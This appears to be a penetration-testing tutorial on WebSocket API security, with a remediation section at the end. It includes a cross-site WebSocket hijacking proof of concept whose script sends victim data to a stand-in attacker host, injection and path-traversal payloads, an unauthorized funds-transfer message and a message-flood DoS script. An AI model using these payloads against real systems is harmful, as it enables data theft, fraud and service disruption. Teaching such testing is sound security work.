WebSocket API Security
WebSocket APIs use a persistent, full-duplex connection upgraded from HTTP. Unlike REST endpoints, they often lack standard auth headers on every message, have no built-in CSRF protection on the upgrade handshake, and send binary or JSON frames that scanners frequently ignore.
WebSocket Blind Spots
localhost) when testing WebSocket-heavy apps.
Identifying WebSocket Endpoints
WebSocket connections start as HTTP GET requests with an Upgrade: websocket header.
Look for them in browser DevTools (Network → WS filter) and Burp's WebSocket History.
# Connect to a WebSocket endpoint from the terminal
wscat -c wss://api.target.com/ws
# With custom headers (auth token)
wscat -c wss://api.target.com/ws --header "Authorization: Bearer TOKEN"
# Send a message after connecting
> {"action": "subscribe", "channel": "user_updates", "user_id": 1}# Connect to a WebSocket endpoint from the terminal
wscat -c wss://api.target.com/ws
# With custom headers (auth token)
wscat -c wss://api.target.com/ws --header "Authorization: Bearer TOKEN"
# Send a message after connecting
> {"action": "subscribe", "channel": "user_updates", "user_id": 1}# Python: establish a WebSocket connection
import websocket
def on_message(ws, message):
print(f"Received: {message}")
ws = websocket.WebSocketApp(
"wss://api.target.com/ws",
header={"Authorization": "Bearer TOKEN"},
on_message=on_message,
)
ws.run_forever()# Python: establish a WebSocket connection
import websocket
def on_message(ws, message):
print(f"Received: {message}")
ws = websocket.WebSocketApp(
"wss://api.target.com/ws",
header={"Authorization": "Bearer TOKEN"},
on_message=on_message,
)
ws.run_forever()Cross-Site WebSocket Hijacking (CSWSH)
CSWSH is analogous to CSRF but for WebSockets. If the upgrade request relies solely on
cookies for authentication and does not validate the Origin header, an attacker can
hijack the connection from a malicious page.
Check 1: Origin Header Validation
Send the upgrade request with a forged Origin header via Burp Repeater:
GET /ws HTTP/1.1
Host: api.target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://evil.com
Cookie: session=VICTIM_SESSION
# If the server accepts this → CSWSH vulnerableGET /ws HTTP/1.1
Host: api.target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://evil.com
Cookie: session=VICTIM_SESSION
# If the server accepts this → CSWSH vulnerableCSWSH Proof of Concept
<!-- Attacker's page: steals data over WebSocket using victim's cookies -->
<script>
const ws = new WebSocket('wss://api.target.com/ws');
ws.onopen = () => {
ws.send(JSON.stringify({ action: 'get_profile' }));
};
ws.onmessage = (event) => {
// Exfiltrate to attacker server
fetch('https://attacker.com/steal?data=' + encodeURIComponent(event.data));
};
</script><!-- Attacker's page: steals data over WebSocket using victim's cookies -->
<script>
const ws = new WebSocket('wss://api.target.com/ws');
ws.onopen = () => {
ws.send(JSON.stringify({ action: 'get_profile' }));
};
ws.onmessage = (event) => {
// Exfiltrate to attacker server
fetch('https://attacker.com/steal?data=' + encodeURIComponent(event.data));
};
</script>Authentication Testing
Authentication on the Upgrade vs. Messages
Many apps authenticate the upgrade request but not individual messages. After a legitimate connection,
try sending messages with manipulated user_id or session fields.
# Authenticated upgrade → then send message as different user
wscat -c wss://api.target.com/ws --header "Authorization: Bearer YOUR_TOKEN"
# Once connected, send message targeting another user's resource:
> {"action": "get_orders", "user_id": 2}
> {"action": "transfer_funds", "from": 2, "to": 999, "amount": 1000}# Authenticated upgrade → then send message as different user
wscat -c wss://api.target.com/ws --header "Authorization: Bearer YOUR_TOKEN"
# Once connected, send message targeting another user's resource:
> {"action": "get_orders", "user_id": 2}
> {"action": "transfer_funds", "from": 2, "to": 999, "amount": 1000}No Authentication on Upgrade
Test if the upgrade request can be made without credentials:
# Connect without auth header or cookies
wscat -c wss://api.target.com/ws
# If connection succeeds, try sending messages:
> {"action": "list_users"}
> {"action": "get_admin_data"}# Connect without auth header or cookies
wscat -c wss://api.target.com/ws
# If connection succeeds, try sending messages:
> {"action": "list_users"}
> {"action": "get_admin_data"}Message Injection & Fuzzing
WebSocket messages process input just like REST parameters — test for injection, authorization flaws, and unexpected message types.
Message Injection in Burp
In Burp Proxy → WebSockets history, right-click any message → Send to Repeater. Modify fields and resend.
# Original message:
{"action": "get_user", "id": 42}
# Injection attempts:
{"action": "get_user", "id": "42 OR 1=1"}
{"action": "get_user", "id": {"$gt": 0}}
{"action": "get_user", "id": "../../etc/passwd"}
{"action": "admin_panel"}
{"action": "get_user", "id": 1, "role": "admin"}# Original message:
{"action": "get_user", "id": 42}
# Injection attempts:
{"action": "get_user", "id": "42 OR 1=1"}
{"action": "get_user", "id": {"$gt": 0}}
{"action": "get_user", "id": "../../etc/passwd"}
{"action": "admin_panel"}
{"action": "get_user", "id": 1, "role": "admin"}Automated Fuzzing
# Install ws-fuzzer
pip3 install websocket-client
# Simple Python fuzzer
import websocket
import json
payloads = ["' OR 1=1--", "<script>alert(1)</script>", "{{7*7}}", "../../../etc/passwd"]
ws = websocket.create_connection("wss://api.target.com/ws",
header=["Authorization: Bearer TOKEN"])
for p in payloads:
msg = json.dumps({"action": "get_user", "id": p})
ws.send(msg)
result = ws.recv()
print(f"Payload: {p}
Response: {result}
")# Install ws-fuzzer
pip3 install websocket-client
# Simple Python fuzzer
import websocket
import json
payloads = ["' OR 1=1--", "<script>alert(1)</script>", "{{7*7}}", "../../../etc/passwd"]
ws = websocket.create_connection("wss://api.target.com/ws",
header=["Authorization: Bearer TOKEN"])
for p in payloads:
msg = json.dumps({"action": "get_user", "id": p})
ws.send(msg)
result = ws.recv()
print(f"Payload: {p}
Response: {result}
")Denial of Service
# Flood with large messages (connection exhaustion)
python3 -c "
import websocket, json
ws = websocket.create_connection('wss://api.target.com/ws',
header=['Authorization: Bearer TOKEN'])
# Send 10,000 rapid messages
for i in range(10000):
ws.send(json.dumps({'action': 'ping', 'data': 'A' * 65535}))
"# Flood with large messages (connection exhaustion)
python3 -c "
import websocket, json
ws = websocket.create_connection('wss://api.target.com/ws',
header=['Authorization: Bearer TOKEN'])
# Send 10,000 rapid messages
for i in range(10000):
ws.send(json.dumps({'action': 'ping', 'data': 'A' * 65535}))
"Remediation
Defense Strategies
- Validate the
Originheader on the WebSocket upgrade request against an allowlist. - Use a CSRF token as a query parameter on the upgrade URL (since custom headers can't be set by
new WebSocket()). - Authenticate every message, not just the upgrade handshake. Include a session token in each frame.
- Implement per-connection and per-IP rate limits on message frequency and size.
- Validate all message fields server-side — treat them as untrusted input.
- Use TLS (
wss://) for all WebSocket connections in production.
WebSocket Security Practice
Practice WebSocket vulnerability exploitation on deliberately vulnerable applications.